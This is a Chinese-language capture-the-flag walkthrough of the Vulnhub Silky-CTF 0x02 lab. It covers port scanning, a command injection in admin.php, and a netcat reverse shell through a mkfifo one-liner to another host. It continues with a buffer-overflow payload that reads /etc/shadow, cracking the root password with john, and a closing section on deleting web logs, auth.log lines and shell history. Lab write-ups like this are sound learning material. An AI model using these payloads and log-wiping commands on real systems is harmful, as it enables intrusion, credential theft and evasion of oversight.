【Vulnhub系列靶场】Vulnhub_Silky-CTF_0x02 渗透
原文转载已经过授权
原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)
一、环境配置
从网盘下载该靶机,在vm中选择【打开】,选择“我已复制该虚拟机”。
然后设置名称和存储路径,选择【重试】即可。
之后配置靶机的网络连接模式为【NET】模式打开。
二、信息收集
1、主机发现
先查看主机主机的IP信息,再通过nmap扫描存活主机。
nmap -sn IP
#发现目标192.168.31.54
2、端口扫描
对目标机器的端口进行扫描
nmap.exe -F 192.168.31.54 #快速粗略扫描
nmap.exe -p- -min-rate 1000 -sT 192.168.31.54 #以1000速率进行TCP详细扫描
nmap.exe -p- -min-rate 1000 -sU 192.168.31.54 #以1000速率进行UDP详细扫描
nmap -sT -sV -sC -O -Pn -p 22,80 192.168.31.54 #对目标开放端口及系统进行详细扫描
目标是linux 的Debian系统、web采用apache服务。
22端口可以进行爆破,但是作为web靶场,显然不是让我们这么做,但是不妨用如下尝试:
hydra.exe -L users.txt -P password.txt ssh://192.168.31.54 #我们需要提供账号密码的字典即可
#此处不建议进行ssh爆破,怀疑有被封IP的可能。
如下只是提供了简单的账号密码字典做了演示,并未爆破成功:
3、web目录扫描
我们采用dirsearch 进行扫描探测
dirsearch -u http://192.168.31.54
dirsearch -u http://192.168.31.54 -x 404,403 #可以过滤404,403的响应
4、识别web框架
并无任何框架
三、获取shell立足点
1、访问admin.php文件
一个登陆页面,可能存在的漏洞:SQL注入。怀疑:但是我们在端口扫描中并未探测到3306等数据库端口的存在。
先随便输入账号密码,查看错误信息。
尝试SQL注入,并用sqlmap 进行探测。可无论如何探测,结果都是失败的。
2、发现漏洞
请出我们的xray,进行被动扫描,发现这个地方果然存在漏洞。
参数username存在CMD注入,也就是命令执行漏洞
我们用curl进行查看
curl http://192.168.31.54/admin.php?username=whoami&password=222222
确认存在命令执行漏洞
3、获取反弹shell
这个时候进行shell反弹,使用如下反弹命令(可以在命令反弹网站进行逐一尝试)
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc 192.168.31.50 4444 >/tmp/f
并用nc进行监听,成功获取shell
四、提权root
1、查找SUID文件
find / -user root -perm -4000 -print 2>/dev/null
可以看到一个醒目的文件,前去查看。
是一个755的SUID文件。
2、查看shadow文件
尝试执行该文件
这里有点蒙圈,查看佬的文章得知此处利用缓冲区溢出,利用如下
./cat_shadow $(python -c 'print "A"*64 + "\x62\x59\x6c\x49"')
查看到了/etc/shadow
文件内容,此时可以对root、silky用户的密码进行爆破
3、获取root密码
将查看到的shadow文件中的账号密码复制保存到本地,提取能登陆的账号密码
用john 进行破解
john.exe --wordlist=..\rockyou.txt pass.txt
可以看到,已经破解出来root的密码
4、提权到root
我们尝试su 到root用户,却出现了意外。
这个情况还是头一次见,问GPT得知是因为不是一个交互式的终端导致的。
用如下命令切换到交互式shell
SHELL=/bin/bash script -q /dev/null
在进行root成功
五、痕迹清理
1、web日志清理
先找到web日志的位置,我们在一开始信息收集中知道网站采用apache2服务。我们可以直接查找apache2的配置文件
find / -name apache2.conf 2>/dev/null
查找log 的相关位置
cat /etc/apache2/apache2.conf | grep log
find / -name error.log 2>/dev/null
将apache2的日志下的文件都删除掉,顺便把看到的mysql的日志一并删除。
2、登录日志清理
当我们登录一台机器的时候会在机器的登录日志中留下痕迹。
日志位置:/var/log/auth.log(Centos系统是/var/log/secure)
可以直接删除该文件,也可以用如下命令只删除几行
sed $(($(sed -n '$=' auth.log)-10+1)),${A}d -i auth.log #删除倒数10行
3、历史命令清理
此次是从www用户直接到root,因此我们只需要直接清除root用户的历史命令就可以了。
echo "" > ~/.bash_history && history -c
原文转载已经过授权
更多文章请访问原文链接:Lusen的小窝 - 学无止尽,不进则退 (lusensec.github.io)